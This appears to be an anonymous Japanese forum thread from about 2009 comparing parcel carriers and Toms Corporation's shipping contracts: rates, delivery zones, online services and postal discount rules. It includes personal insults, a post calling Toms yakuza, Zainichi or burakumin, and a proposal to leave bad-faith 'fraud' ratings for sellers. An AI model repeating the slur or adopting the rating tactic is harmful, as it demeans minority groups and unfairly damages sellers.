【Otodoke】トムス part12【Pickup】

トムスコーポレーションについて語りましょう。 こちらは誘導スレです。
Otodoke西武運輸
http://www.otodoke.co.jp/otodoke/
Pickupプロジェクト　日通ペリカン便
http://www.otodoke.co.jp/picanddeli/
※You Say!は2008年12月をもってサービス終了しました。
[公式] http://www.otodoke.co.jp/

トムスの話題は本スレ（したらば）へ。
トムスコーポレーション
http://jbbs.livedoor.jp/bbs/read.cgi/internet/2653/1233066872/

あゆちんという糞コテは無視で。構う人は荒らしです。

　　　　　　　俺は他人の実名をコテハンにして荒らすけどなぁ〜

>>2
新スレ荒らしは止めましょうね。dostore住人さん。
貴方に対する批判スレも立っておりますよｗ


新スレ荒らしに快感を覚えたdostore住人の辞書引き
http://pc12.2ch.net/test/read.cgi/yahoo/1237604789/l50

トムスの話題は本スレへと書いてあるのに、何のためにこのスレを立てたんだ
結局はあゆちんに構ってほしいのか

>>4
２ちゃんねるからしたらばへの誘導だろ
既存のスレ住人以外はまだしたらばスレの存在を知らない。
新規ユーザだっているんだぞ

十分にレスつくようになれば誘導もいらないと思うが。

したらばJBBSは、２ちゃんねる互換だから、専用ブラウザで
板を登録すれば、２ちゃんねる同様に使えるよ。

【JaneStyleでの設定方法】
板一覧で「新規カテゴリを追加」を選び→「したらば」等適当な名前をつける。
作成したカテゴリで、「ここに板を追加」を選び、「トムス」等適当な板の名前をつける。
「板URLを入力」画面がでたら、下のURLを入力。
http://jbbs.livedoor.jp/internet/2653/
分からなければ、ヘルプの「よくある質問」に新規カテゴリ、板の追加方法を読みましょう。

【ギコナビでの設定方法】
ギコナビフォルダの中のconfig→Boardの中の「したらばJBBS.txt」ファイルを開き、
追加したい[カテゴリ]の下に
「【Otodoke】トムス総合掲示板【Pickup】=http://jbbs.livedoor.jp/internet/2653/」
を入力。

ギコナビを起動して、表示→キャビネット→したらばJBBS で、
上で指定したカテゴリを開くと追加されています。

作業はたったこれだけ！

キチガイくそコテのいない掲示板で語りましょう。

6月になったら、コミケ購入代行やらせる人募集するつもりだったから、立ててくれてよかったよ(^-^)
今はコミケ代行じゃなくて、東京購入代行を1年契約で募集するとかも考えてるけどね(^-^)

Comic1に間に合わなかったのは残念だったな

新設された特定記録郵便の使い道について語りましょう。

１０っく先生お買い上げ
糞付便座

>>8
あの程度のイベントなら頼むまでもないよね(^-^)

>>5
誘導も何も、日配も夜配もないトムス西武なんか使ったら、落札者が迷惑だよね(^-^)

これからは日曜・祝日の20時〜21時に指定しましょう(^-^)
これでヤマト以外では発送できなくなりますよね(^-^)
トムス西武だけでなく、日配や時間帯指定の切られている契約もついでに判明できますよね(^-^)
もちろん、断わられたら送料差額ピンハネ詐欺として非常に悪い評価をつけましょう(^-^)

まだトムス契約しようとする奴いるんだ

＞あの程度のイベントなら頼むまでもないよね(^-^)
絶対にそう言うと思ってたよ
福山が糞コテ自身を東京まで運んでくれれば良いのにね

＞断わられたら送料差額ピンハネ詐欺として非常に悪い評価をつけましょう(^-^)
レポよろ

>>15はジューシーとかいう福山の駄馬と戯れてればいいよね(^-^)
黒船賞には笑ったよ(^-^)

mms://oddspark01.vod.tv-bank.com/20/20090320_31_10.wmv
高知で恥をさらした福山の駄馬

＞ヤマト以外では発送できなくなります
つ日通
と言いたい所だがこっちも統合で20時〜21時指定可能のままかどうか分からないのか。
郵便のサービス低下には呆れるし。
配達記録郵便廃止で事実上90円値上げ(補償とか発送証明とか大方の人間はどうでも良い)だし特定記録は+160円でボッタクリにも程があるし。
あんなのメール便と大差ないよ。
そりゃ、黒猫メール便よりは入力の回数は多いんだろうけど。

＞そりゃ、黒猫メール便よりは入力の回数は多いんだろうけど。
クロネコメール便は各拠点通過の際に読み取りしてるよ。
単に客側に表示しないだけの話だ。

対して特定記録＆簡易書留は……

普通の宅配便もせめて容積換算重量で計算してくれればなぁ。
薄っぺらくて面積の広い荷物だと体積は小さいのに120サイズとか取られる。

>>20
そこであゆちん推奨の一般路線ですよ。
「福通なら宅配便とサービスレベルは変わらない。
というか福通に宅配便なんて事実上存在しない。」
とあゆちんが仰ってました

ところが、50cm×50cm×60cm(160サイズ)となると、容積換算重量は50kgですね(^-^)
正規運賃同士なら、たぶん宅配便より高いよ(^-^)
中継料なんか取られたらなおさらですね(^-^)

>>21
「福通なら宅配便とサービスレベルは変わらない」とは言ったけど、
「というか福通に宅配便なんて事実上存在しない」とは言ってないですね(^-^)

「今度容積換算重量15kg＋5kg＝20kgの2個口の荷物を発送するけど、個建だとはどこにも書いてないから、関西宛20kg、735円と安いから、宛先が関西宛だったら使うよ(^-^)
個建だとはどこにも書いてないから、20kg＋10kg運賃で取られたら支払い拒否してもいいよね(^-^)」
と、このスレで書いたら、慌てて「1梱包につき1原票ご利用ください」と個建である旨、追加してきたよ(^-^)
しかも太字で(^-^)
トムスの工作員は確実にこのスレ見てるよね(^-^)

http://www.otodoke.co.jp/haisou/pdf/rule.pdf

あ、ちなみに宛先は関西じゃなかったから(^-^)

>>23
やたら重いけどそれなんの荷物よ

ｷﾓｯ

ひもでくくったりひとつの箱で梱包すりゃ無駄な送料かからないのに
わざわざ別々に梱包したんかいな

この人ずる賢いのか、賢すぎて視野が狭いのか、単に頭が悪いのか
時々分からなくなるな

>>22
フクツー宅配便の送り状の利用率は？
あ、そっか。パーセルがあったっけ。

>>24
「容積換算」重量
>>26
前に知恵袋で「紐でくくって片方の荷物がどっか行ったけど『分かりません』で済まされた」って相談あったけど、それについては？
俺の場合、前に佐川でダンボール10個をエアキャップで巻いて1個口で送ったことはあるけど、紐でくくるのは怖くて出来ない。
一般路線も良いんだが、余り多いと仮電書くのが面倒で面倒で。
印刷してもらえば済むことだが。

>>22
「薄っぺらい荷物」と書いてあるだろ。
アバウトな表現だが、薄っぺらいって事はいくら体積が大きくても50×50×20程度だろう。
これなら路線のが安い

http://society6.2ch.net/test/read.cgi/traf/1214565663/
腹痛、玉子と提携したんやね。
西武と西濃が合併して西武運輸を西濃運輸と勘違いする香具師がいなくなるのは何よりうれしいことw

しかし枚方の閉鎖は俺にとっては大問題
枚方閉鎖で京田辺市が京都南からの直配になるだろうから、それで人手が取られてまた木津川市が中継になったら俺ん家ｵﾜﾀ

>>31は腹痛のことな。
それから、>>23の5キロの方は長物か？

あと、>>28で俺が何故荷物を一つに括ったか突っ込まれそうなので一応書いておく。
箱が60サイズ程度だったからだよ。
1才、2才レベルの荷物ならまだしも、60サイズ程度の荷物何個も何個も仮電貼って出したらSD切れる罠w

>>24
机だよ(^-^)
実重量は20kgもないけど、かと言って、脚の部分は細長いだけだし、テーブルの部分は厚みがないので、容積換算重量もそんなにいかないよね(^-^)
脚の部分は外して2個口だよ(^-^)

宛先は宮崎県えびの市だけど、西武だと直配区域ですらなかったですね(^-^)
今調べたら、西武の宮崎県内は宮崎市だけ直配区域だって(^-^)
つまり、日祝配達なしの原則、翌々日配達だよ(^-^)
これだけ直配区域が狭いと、使い物にならないですよね(^-^)
福山はえびの営業所があるから直配区域で、翌日配達だけどね(^-^)

>>26
あゆちんはそこまでしなくても元々送料かからないからだよ(^-^)
2個でも840円だからね(^-^)

以前、知恵遅れで本来2個口にすべき特大のスピーカーをゆうパックで無理矢理1個口で発送して
破損して補償断られたとかいう相談あったよね(^-^)

>>28
＞余り多いと仮電書くのが面倒で面倒で。

仮伝は複写じゃないんだから、プリンタさえあれば自分で印字できるよね(^-^)

>>29
＞薄っぺらいって事はいくら体積が大きくても50×50×20程度だろう

そんなレベルではなく、80cm×80cm×5cmとか、100cm×10cm×10cmとかそんなレベルですよね(^-^)

>>31
＞枚方の閉鎖

閉鎖されてもいないのに、勝手に決めないようにね(^-^)

>>32
＞60サイズ程度の荷物何個も何個も仮電貼って出したら

そんな荷主は腐るほどいますよね(^-^)
かつての福○は、60サイズのダンボールに靴下ちょっとだけ入れて、100個口とか200個口でしたしね(^-^)

机を含め、家具を出すときは、当然、タイトルに、「雅姫」「ハグ」「ちはる」「ゆらら」「天然生活」「クウネル」と書くのがオークションの常識ですよね(^-^)

うわぁ・・・・

キモ

＞そんな荷主は腐るほどいますよね(^-^)
うん、いるよねw
ダ○ソーとか。
1才レベルの荷物を100個口とか200個口とかで出すもんだから
「あんなもん手積み手降ろしでやってられるか。パレットで出せよカス」
とか言った趣旨の書き込みがだいぶ前の社員スレにあったけど。

運賃の高い荷物＝SDに嫌われる荷物

1才レベルならフツー。
どこの会社でもやってる。
バラというのはどうかと思うけど。

okaなんとかとあゆちんのチャット場になりました

>>20のようなシッタカについて語りましょう(^-^)

本来、容積換算重量で計算する一般路線に個建はないよね(^-^)
一般路線の個建＝全部契約だよ(^-^)
一般路線は通常、10kg〜で、最低運賃も1260円〜とかだよ(^-^)
最低運賃740円〜の宅配便より確実に高いですよね(^-^)

>>43
運賃で言えば路線10kg≒宅配100サイズだから、120サイズで容積換算が10kgなら路線のが安いと思うけど？
>>20が出したいのは120サイズの荷物らしいし。
まあ、荷物によって宅配か路線かは使い分けるべきだよね。

http://society6.2ch.net/test/read.cgi/traf/1214565663/
このスレの噂では本気で枚方閉めるような。
まあ、あんな営業所いらんけど。
それのせいで木津川市が中継にされたら困るがな。

＞運賃で言えば路線10kg≒宅配100サイズだから、120サイズで容積換算が10kgなら路線のが安いと思うけど？

つ中継料
つ地区割増
つ運賃計算の面倒くささ

>>46
そう考えればそうかもしれん。

ところで、シッタカサイトが一般路線に対応したらしいwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
http://www.shipping.jp/
管理人の無知をさらに広める結果となりましたwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

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一般路線は距離制だから、都道府県では運賃出せないので、対応できるわけありませんよね(^-^)

まあ、それ以前に、
・こぐまの名鉄宅配便は既にない
・カンガルーミニ便は着払いできる
・パーセルワンの代引きは既にない
・パーセルパックは責任限度額30万円
という事がわかってない時点で、シッタカもいいところですね(^-^)

>>48
この際だから「okaなんとか」と「あゆちん」
どっちが勝つか予想しようじゃないか。

取り敢えず、俺はあゆちんに一票な。

高知県内のコンビニのバイト：時給700円台(高くても800円)
高知県内の郵便配達のバイト：時給700円台(高くても800円)
高知競馬の馬券売り場の窓口のババア(バイト・パート)：時給1630円

次は高知競馬を民営化しましょう(^-^)
自民党的にも、郵政民営化に次ぐ、いい選挙ネタになると思うよ(^-^)

ついに道東翌日配達を証明できるときが来ましたね(^-^)
http://pc11.2ch.net/test/read.cgi/jisaku/1234622489/885

着店到着から配達持ち出しまでの経歴が必要ですね。

>>49
一般路線をあんなのに対応させようと思うと
・運賃表、地区割り増し、中継料の表を貰う
・まず各社の営業所間の路線距離をすべて調べる
・郵便番号区から営業所までの距離を各社個別で調査する
・えーい、めんどくさいわ。
という手順が必要だね。
しかも、運賃調べるときに郵便番号入れなくちゃいけないわ微妙に誤差が出るわでメチャクチャになるのは必至w

>>51
公営競技は民間企業は運営できなかったんじゃなかったっけ。
ばんえいの件がそう。
ただ、窓口とかそういう可能な部分は出来るだけ民間委託に切り替えたいところ。
騎手や調教師への賞金や手当て削減より先に削減すべきところがあるだろと小一時間w

>>52
道東翌日配達なんて航空便でも無い限り無理だ罠w
どうせパーセルだろ。
ビデオカードだからパーセルワンで420円也
パーセル使える香具師は良いけど、それ以外はアホみたいに高い航空運賃を払わんといかん。

＞パーセルワンで420円
×パーセルワン
○パーセルパック

>>54
＞公営競技は民間企業は運営できなかったんじゃなかったっけ。

どうだか知らないけど、7年ほど前にJRA民営化が国会で審議されてましたね(^-^)

JRAは特殊法人。1954年に国営ではなくなりました。
だから民間企業でもなければ国営でもない。
政府全額出資で、農水省の管轄だから実質国営だけど。
他にはマスゴミだけど犬がその形態か。

今月11日現在の発送実績(14個)：
禿パック第1地帯−1個
禿パック第2地帯−8個(うち1個は代引)
禿パック第3地帯−4個(うち2個は机)
禿パック第4地帯−1個(北海道宛の代引)

禿パック(2kg)との差額は第1地帯で130円、第2地帯で220円、第3地帯で320円、第4地帯で500円ですね(^-^)
机以外は全部2kg以内(実際に2kgかどうかは別)で計算して、差額を計算すると、130円×1個＋220円×8個＋320円×2個＋500円×1個＝3030円。
机は台10kg、脚5kgで計算すると、あわせて差額は1360円。
結果、14個トータルで差額は3030円＋1360円＝4390円。

しかも、禿はイーバッグ(宅配袋)大中小3種類＋ジェットパック(A4封筒)のような梱包資材の無料提供はありませんよね(^-^)
挙げ句の果てに、配達日指定ありの荷物や代引は出せない(^-^)

禿との比較ですらたった14個でこれだけの差がついてしまうと、禿終了後はさらに契約とそれ以外で差が広がりそうですね(^-^)

禿が他の運送業者(たぶん佐川だろうな)と発送代行の契約をしそうな悪寒
もう一月もすれば別の発送代行サービスのプレスが見られるよw
ちなみに俺は発送代行にはもう懲りた
101なんちゃらのプリペイドが多少残ってるからそれは使い切るつもりだけど、新たなのには手を出すつもりは無いわ
ちまちまと歩いて2分の郵便局へ持ち込む方向で検討中
実際禿パックと普通のゆうパックの運賃って大差ないんだよね。俺の場合。
この不景気じゃ弱小個人なんて相手にしないって。
喪前も次の更新(1年後だっけ？)で運賃値上げの覚悟はしておいたほうが良いと思うぞ。
腹痛が突然死しても大丈夫なようにね。

今日通と郵便のHP見たが、これじゃあ統合なんて出来ない罠w
なんか、ゆうパックはゆうパックで郵便事業会社がやって、ペリカン便を郵便子会社のJPエクスプレスがやってる感じ。
なんというか、郵便がペリカンを買い取った形なのだろうか。
いずれにせよ、ゆうパックの切手別納が出来ないと俺は相当困るわ。

>>59
＞禿が他の運送業者(たぶん佐川だろうな)と発送代行の契約をしそうな悪寒

佐川はずっと単価上げてきてるのに、ここで単価を下げるようなことはしないよね(^-^)
佐川はコンビニ集荷やってないですし、参入する予定もないですよね(^-^)

＞喪前も次の更新(1年後だっけ？)で運賃値上げの覚悟はしておいたほうが良いと思うぞ。

その前からあゆちんの方から切られるかもね(^-^)
理由は以下の通りだよ(^-^)

＞腹痛が突然死しても大丈夫なようにね

これがあるからだよ(^-^)
福山は2000年以降、あれだけ営業所を作って、中継区域を潰したにも関わらず、売り上げは伸びていないよね(^-^)
逆に言えば、集荷できる地域を増やして横ばいもしくは減少ということは、営業所を作らなければ、売り上げは減り続けていたわけだよね(^-^)
じゃあ、西濃はというと、2000年以降に作った営業所数は4程度だけど、売り上げは伸び続けているよね(^-^)
と考えれば、集配品質は別にして、将来性はどう見ても西濃＞＞＞＞福山だよね(^-^)
突然死までしなくても、営業所の閉鎖ラッシュで西濃に勝っていた集配品質の差まで詰められる可能性は十分あるよね(^-^)

上記を考慮すれば、危険と判断された段階で、西濃に乗り換えるのが得策だよね(^-^)

運賃：
西濃＞福山

ネットサービス：
西濃＞福山

会社の将来性：
西濃＞福山

集配品質(配達日数・中継区域の少なさ・営業所数・指定配達など)：
福山＞西濃

福山が西濃に勝ってるのは、集配品質だけだよ(^-^)
あ、西武は全てにおいて論外ね(^-^)

親会社だって
西濃(ﾄﾖﾀ)≫福通(近鉄)
だしw
トヨタがいくら不景気で赤字出したって言ったって、あんなのは単年度の話。
近鉄なんて、この前単年度黒字だったらしいけど、単年度何年連続で赤字出してるか分からないし、そもそも累積赤字が恐ろしい規模に。
それでもつぶれないのは鉄道会社だから。
その点ではまだ西武のがマシ。
分かりやすく言うと
西濃(トヨタ)＝大井
西武(西武)＝笠松
福通(近鉄)＝盛岡
みたいな感じか。

運賃単価って西濃のが下じゃなかったっけ？
それより、そもそも藻前のトコって西濃は中継って言ってなかったっけ？

ネット集荷：
佐川：可能
福山：現収・正規運賃のフクツー宅配便のみ可能
西濃：可能だが、集荷日は依頼日翌日以降
西武：不可能

ネット再配達/不在通知メール：
佐川：可能
福山/西濃/西武：不可能

配達完了通知メール：
佐川/西濃：可能
福山：パーセル1のみ可能
西武：不可能

＞西武は全てにおいて論外ね(^-^)
西武や名鉄、その他中堅は運賃だけは安いと思うぞ？
商流レベルの話だけど。

ネット判取請求：
佐川：可能
福山/西濃/西武：不可能

ネット発送一覧参照：
佐川/西濃：可能
福山/西武：不可能

ネット請求書印刷：
佐川/西濃：可能
福山/西武：不可能

ネット代引明細参照：
佐川/西濃：可能
福山/西武：不可能

カード代引：
佐川：可能
福山/西濃/西武：不可能

ネットサービスは佐川＞西濃＞福山＞西武(何もなし)ですね(^-^)

>>65
ヤマトは全部可能だけど、最低なのはゆ○パックw
そもそもネット集荷不可だったような。

ヤマトは判取り請求が無理か。
ネットサービスだけなら佐川が最高なんだけど、運賃も最高w

>>64
＞そもそも藻前のトコって西濃は中継

配達だけ傭車中継委託なだけで、集荷はやってるよね(^-^)

>>66
＞西武や名鉄、その他中堅は運賃だけは安いと思うぞ？

それ以前に宅配便のない会社は個人宛不可の場合が多いから、契約させてくれないよね(^-^)
特に名鉄なんかは既に個人宛不可を表明したしね(^-^)
今、「名鉄運輸で発送します」なんて書いてる出品者はどうしてるんだろうね(^-^)

>>70
西武もその部類かと。
西武宅配便なんて相当昔にやめてるし。
個人宛なんてトムスくらいじゃないかな。

>>68
ゆうパックはネット再配達と、配達完了通知メールだけだよ(^-^)
あとは何もないから、トータルで考えれば、福山と同レベルだね(^-^)

>>69
ネットサービスは佐川の方が充実してるよ(^-^)
判取り請求だけでなく、ネット請求書印刷やネット代引明細参照もないから(^-^)

名鉄は個人宛不可というより、あれだな。
小熊の名鉄ゆうパックだけになるような。
http://www.meitetsuunyu.co.jp/takuhaitori.pdf
急激に個人宛宅配の取扱量が減ってる福通も個人宛不可になったりして。
西濃は個人宛だけでもそこそこの物量があって、ある程度維持してるから大丈夫と思うけど。

＞ネット発送一覧参照：
＞佐川/西濃：可能
＞福山/西武：不可能
＞
＞ネット請求書印刷：
＞佐川/西濃：可能
＞福山/西武：不可能
＞
＞ネット代引明細参照：
＞佐川/西濃：可能
＞福山/西武：不可能

この辺ないのは痛いですね(^-^)
福山あたりはiStar-2で発送した分は発送明細参照できるけど、
iStar-2は月額料金いるし、カーボンの送り状で発送した分は参照できないしね(^-^)

＞iStar-2は月額料金いるし
え〜〜〜〜〜〜〜〜〜〜〜〜
ヤマトのB2だって、佐川のe飛伝だって無料なのに。(佐川は物によるが。)

グランシング、この時期にして早くもC級突破(^-^)
この馬はJRA認定競走勝ってるから、特指も出れるよね(^-^)

>>77
北海道の成績があれだから、高知も大してレベルは高くない訳か？

>>76
ヒント：
福山はサーマル送り状しかない＝プリンタのレンタル費用が必要。

ヒントその2：
佐川でもサーマル送り状利用の場合は、プリンタのレンタル費用が必要
http://www.sagawa-exp.co.jp/service/hiden-series/e-hiden2/

>>79
佐川はサーマル使わなきゃ良いだけ。
サーマル使ってる業者もさほど多くないし。
ヤマトはどうだっけ？
圧着式送り状だけど普通のレーザープリンタでいけたと思うけど？
俺はインクジェット用だからよく分からんが。

でも、福山は追跡番号がわからなくても、受取人の電話番号をから追跡番号がわかる追跡サービスやってるよね(^-^)
あれはどこの運送会社でもやってないよね(^-^)
http://www1.fukutsu.co.jp/inq/index.html

>>80
ヤマトと西濃は今、サーマルはないから、完全無料で利用できるよ。
ただ、インクジェットプリンタかレーザープリンタで印刷するから、
トナー代やインク代がバカにならないですね(^-^)
下手すれば、サーマルレンタルの方が安つく場合もあるよね(^-^)

おそらく、佐川とかのサーマルはパソコン1台が送り状印字用になるくらいの発送量があることが前提なのだろう。
対してヤマトや佐川でも紙のやつは俺のように一日数個とか、月数個のレベルを想定しているのだろう。

最後に、
ドットインパクトプリンタこれ最強
とだけ言っておこうかw

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福山は出品者が追跡番号を教えなくても、受取人側で追跡できるんだよ(^-^)

ここの一番下の「お届け先からの照会」とかいうやつから、ユーザー登録すれば、
登録した電話番号宛の荷物の追跡番号を一括検索できるから(^-^)

http://www1.fukutsu.co.jp/inq/index.html

そもそも福通の出品者がどの程度いるか不明。
オレの経験では明らかに西濃の方が多かったわ。
そもそも、営業所に電話すれば伝票番号無くても全部分かる話だし。

営業所大迷惑

ヤフーゆうパック終了したらこっちを使おうかと思うけど、なにか問題などはないですか？

こちらの方が既に終了しているよね！

集荷が遅せえなあ

>>74
＞急激に個人宛宅配の取扱量が減ってる福通も個人宛不可になったりして。
＞西濃は個人宛だけでもそこそこの物量があって、ある程度維持してるから大丈夫と思うけど。

何年か前までは福山3億、西濃1億5000万と2倍の差があったのですが？(^-^)
西濃はその前からずっと減少傾向だし(^-^)
どこが「そこそこの物量がある」のかな？(^-^)
西濃は下手すれば今年からミニ便すらやめかねなかったよね(^-^)

>>89
このスレは荒れているので、こっちにカモン！

トムスの話題は本スレ（したらば）へ。
トムスコーポレーション
http://jbbs.livedoor.jp/bbs/read.cgi/internet/2653/1233066872/

http://www.mlit.go.jp/common/000019623.pdf#search='宅配便取り扱い個数 平成19年度'

okalllllが言ってるのはこれの事か。
ちなみに、福山は平成17年度で3億個あった。
わずか2年で5割以上減っている。
平均単価370円×3億個＝1121億円あった宅配便がこれだけ減れば、
2年間で2桁の減収もあるはずなのだが、それもない(2年間でほぼ横ばい)。
じゃあ、宅配便の平均単価が倍になって、個数減を補ったと仮定するにしても、
平均単価が倍だとすれば、370円×2＝740円と、ヤマトと同じかそれ以上の平均単価になるので、これも考えづらい。

つまり、一番考えられる原因は、これしかない。
「今まで集計でカウントされていた荷物がカウントされなくなった」

その中で一番怪しいのは25kgもしくは30kg以内の個建ての一般。
福山は宅配便規格内の荷物でも宅配便の送り状は使わせない傾向が強い(パーセルならさらに強い)運送会社だから、
これをカウントから外せば、荷物は大きく減る。

というか、ここの宅配便取扱個数は数年前、日本通運でアロー便の個数も入っていたとかで、個数を修正した過去があるから、あまり信用性はないよ。
特に、福山や西濃みたいに宅配便と一般路線の送り状の利用にあまり差異をつけていない運送会社の場合、「どこまでを宅配便として、どこからを宅配便としないのか」が曖昧だしね。
例えば、総重量制の一般路線で、1原票2個口20kgなら宅配便としないのは当然だが、1原票1個口20kgなら宅配便とするのか、とかね。

各運送会社の宅配便/一般路線の送り状の使い分けの状況

■ヤマト運輸/日本通運
使い分けはしっかりしている。
というか、ヤマト運輸や日本通運は宅配便と一般路線ではサービスレベルが違うので、当然といえば当然。

■佐川急便
ここの会社は宅配便/一般路線/フリーサイズは全て同じ送り状を使う。
つまり、送り状が1種類しかないので、使い分け云々以前の問題。
ただ、佐川で一般路線出す香具師は法人含めてほとんどいない現状なので、
フリーサイズを除けば、大半は宅配便目的で使われている。

■福山通運
ここはほとんど使い分けがされていないのが現状。
というより、フクツー宅配便の送り状は荷主コードがない(荷主コードは手入力)、宛先記入欄が2行しかないなど、
福山側・荷主側とも評判の悪い送り状なので、明らかに宅配便規格内の荷物であっても、一般の送り状を積極的に使わせているのが現状。
パーセル1は採算の合わない商品内容故、使用は実質論外となっている。

■西濃運輸
福山同様、ほとんど使い分けがされていないのが現状。
しかし、西濃は福山みたいな宅配便の送り状の欠点がない分、
「明らかに宅配便規格内の荷物であっても、一般の送り状を使わせている」という状況は福山よりは少なめではある。
2年ほど前に宅配/ミニ/一般を1種類の送り状でどれでも出せる統一原票が開発され、今はこれが主流になっている。

>>93
いい加減ウザイ。テンプレに書いてあるんだから、いちいち張るなボケ。

コテにはキレずに誘導にキレる名無し

まったくだ

>>94
おう、それだw
最近の西濃は統一原票しか見ないなあ。
通販便の契約はかなり少ないし(夜配がまともに行われていない現状じゃ当たり前か。)

http://salad.2ch.net/poke/kako/985/985165041.html

今日はこれについて語りましょう(^-^)
低品質の西武なんて目じゃないぐらいの低品質ぶりだよ(^-^)

http://www.okurimasu.com/index.html

普通郵便の値引きは違法だね(^-^)
郵便監査に通報しよっと(^-^)

知ってる人は知ってると思うけど、ゆうメールは月間割引(3辺170cm以内・値引率低め)と年間割引(A4・厚み3.5cm以内・割引率高め)があるけど、
普通郵便は後納契約しても通常は一切値引きがないんだよね(^-^)
一時期社会問題になった発送代行業者による第三種とか第四種とか障害者割引の不正利用の可能性が高いよね(^-^)

さて、郵便監査に通報してこよう(^-^)

今のところ、考えるのはどちらかだね(^-^)
どっちにしろ不正だよね(^-^)

１．一時期社会問題となった発送代行業者による第三種とか第四種とか障害者割引の不正利用
２．一時期社会問題となった長岡郵便局の不正割引同様、後納差出表に実際に発送する個数より少なめの個数を記入し、実質的に割引させる不正割引

存在自体が不正のゴミが騒いでもなぁ

>>105
あゆちんは発送代行を今すぐ始められる立場にあるんだよ(^-^)
仮に発送代行を始めたら、速攻であゆちんを神と崇める人が続出するはずだよね(^-^)

禿パック本スレに近鉄ゆうパックはなくなったとの情報があるよね(^-^)
こりゃ、シルバーゆうパックとかパンサーゆうパックとかも、全部なくなるね(^-^)

まあ、あゆちんは西武運輸に容積換算重量ちゃんと測って運賃取るように毎日FAX送るだけですけどね(^-^)

やっぱりマジ基地

あゆちんは世の不正を正す正義の味方だよ(^-^)
発送代行業者の8〜9割は不正・違法の温床なんだから、潰すに限るよね(^-^)

http://dailynews.yahoo.co.jp/fc/domestic/handicapped_person_mail/

あゆちんは少し前にビックカメラの保証書シールを偽造してヤフオクで売っていた出品者を発見し、公表及び通報で潰したばっかりだよ(^-^)

http://pc12.2ch.net/test/read.cgi/yahoo/1234922855/237-

掲示板荒らしが正義ズラｗｗｗ
マジ受けるｗｗｗ

このゴミが糾弾してることがなくなることより
このゴミがこの世から消えてくれることの方が数万倍の人が喜ぶ

という事実に目を背けるなゴミｗｗｗｗ

今リメーリングってどのくらいあるのだろう。
もちろん違法だけど。

>>100
包茎便の事？
>>103
確かに割引は無いようだw
http://www7.uploader.jp/dl/kyusyu/kyusyu_uljp00264.gif.html
パスワード：post
>>104
リメーリングの可能性は？
>>107
そもそも後納の特別料金が無くなるのだから、その手のやつは全部無くなる罠w

やっぱりここは活気付いてるねぇー

長岡郵便局の不正値引といい、障害者割引を悪用した発送代行など、発送代行業者による犯罪はよく報道されますよね(^-^)
発送代行業者なんて、こんなのばっかりなんでしょうね(^-^)

Yahoo!ニュースに発送代行業者による犯罪のカテゴリが作られてるしね(^-^)
記事にコメント欄がないのが残念だけどね(^-^)
http://dailynews.yahoo.co.jp/fc/domestic/handicapped_person_mail/

実際、○川の飛○ゆうメールとか日○のNI○T○U郵メール便とかでも十分怪しい。
平気で信書が飛び交ってるのが現状じゃない？

>>117
＞平気で信書が飛び交ってるのが現状じゃない？

そんなのは当然ですよね(^-^)
「納品書在中」と書かれたゆうメールでも、平気で佐川も郵便局も荷受けしてますからね(^-^)

それどころか、発送代行を使わなくてもゆうメールで信書を送る企業は結構あるはず。
結局は郵便局に問題があるのか。

メール便でも荷受けはされてるよね(^-^)

まあ、あゆちんはそんな信書法に関わるような不正はどうでもよくて、
(信書法は既に有形無実化している)
第三種・第四種・障害者割引を悪用した不正値引きの方を言ってるんだけどね(^-^)

そうそう、使う気はないけど、西武航空で宅配袋をタダでもらえることになったよ(^-^)
「SEIBU AIR CARGO」とか書かれたやつ(^-^)

障害者割引適用外の荷物を障害者郵便で差出→違法
信書をメール便で出す→やっぱり違法
恐らく、ゆうメールは儲かるから誰も何も言わないしいえないのだろう。
そりゃ、障害者郵便の8円とかじゃ儲からんて
だから本社が突っ込んでいくんじゃないか？

最近はリメーリングも見なくなったような気がする。
リメーリングの次は障害者郵便かよって感じだわ。

>>121
残念？だがもう俺には関係ないわ

結論
トムスはヤクザ、在日、部落のいずれか

124レス読んで役に立つ情報は一切なし

以上

そういや、西武はこれから支店の閉店ラッシュが始まるらしいよ(^-^)
トムス営業に来てた人が言ってたから間違いないよ(^-^)
支店の閉店される＝直配区域が中継になる＝今まで集荷できていた地域が集荷できなくなる＝トムス西武が使えなくなる、だよね(^-^)
まさに死店だよね(^-^)

ところで、佐賀のワンパクメロは何で遠征しないの？(^-^)
この馬に限らず、佐賀の馬って遠征しないよね(^-^)
荒尾のレースに出すのは遠征とは言わないしね(^-^)
今の岩手は駄馬ばっかだから遠征しないのはわかるけど、
佐賀の馬が遠征しないのは謎だよね(^-^)

送り状に記載の商品区分の略称：
EB…イーバッグという茶色の宅配袋。大中小の3種類。
GB…グリーンバッグという緑色の宅配袋。大中小の3種類。
JP…ジェットパックというA4封筒。A4 1種類のみ。
JB…ジェットボックスという箱。大小の2種類。

送り状に記載のない梱包資材：
タクハイバッグ…黄色の取っ手つきの宅配袋。大きさはイーバッグの大相当。
ゴルフバッグ/スキーバッグ
酒ケース…1本用、2本用の2種類
パーセルパックの封筒…黄色のB4封筒。パーセル1の送り状と併用し、運賃は離島を除き全国一律420円。
レター便用封筒…緑色のラインが入ったのA4封筒。レター便として利用するが、レター便は既にないので、既に使われていない。一般の送り状と併用し、運賃は契約内容によるが、沖縄・離島を除き全国一律262円〜315円程度だったらしい。
ジェットオーバーナイトパック…ジェットオーバーナイトと併用して利用するA4封筒。何らかの割引運賃があるのかなど、一切詳細不明。

その他：
デリバリーパック…厳密には梱包資材ではない。送り状の濡れ防止用のラミネートフィルムの事。

>>124
もはや発送代行を使うのは、違法犯罪組織に資金提供するのと同様の行為ですよね(^-^)
パチをやるよりタチが悪いよね(^-^)

肝心の中身がゴミなら送料安くても利益で無いわな
まあ同人誌を落札して宅配を指定する人間は皆無だから関係ないか

何同人誌って？(^-^)
あゆちんはそんなの出品してないけど？(^-^)

同人誌はいいぜ
荷造り楽だし趣味と一体で諸費用全て相殺できて小遣いまで稼げるからな

まあダミー運営したりしないと発送代行だけでは元締めになるのは厳しいがな

>>126
航空と路線の統合かもね。
もう俺には関係ないが
>>128
JPは契約によるけど確か1kg区分だったよね。

・航空便地域の採算があっていないパーセル1の廃止、ないしはパーセル1の航空便切り捨てもしくは航空割増料金(840円)の徴収
・元払統一、着払統一、代引統一の送り状を作って、それ以外の送り状は廃止
(これで送り状は3種類のみになる)
・既に新規契約が停止になっているメール便の廃止
↑
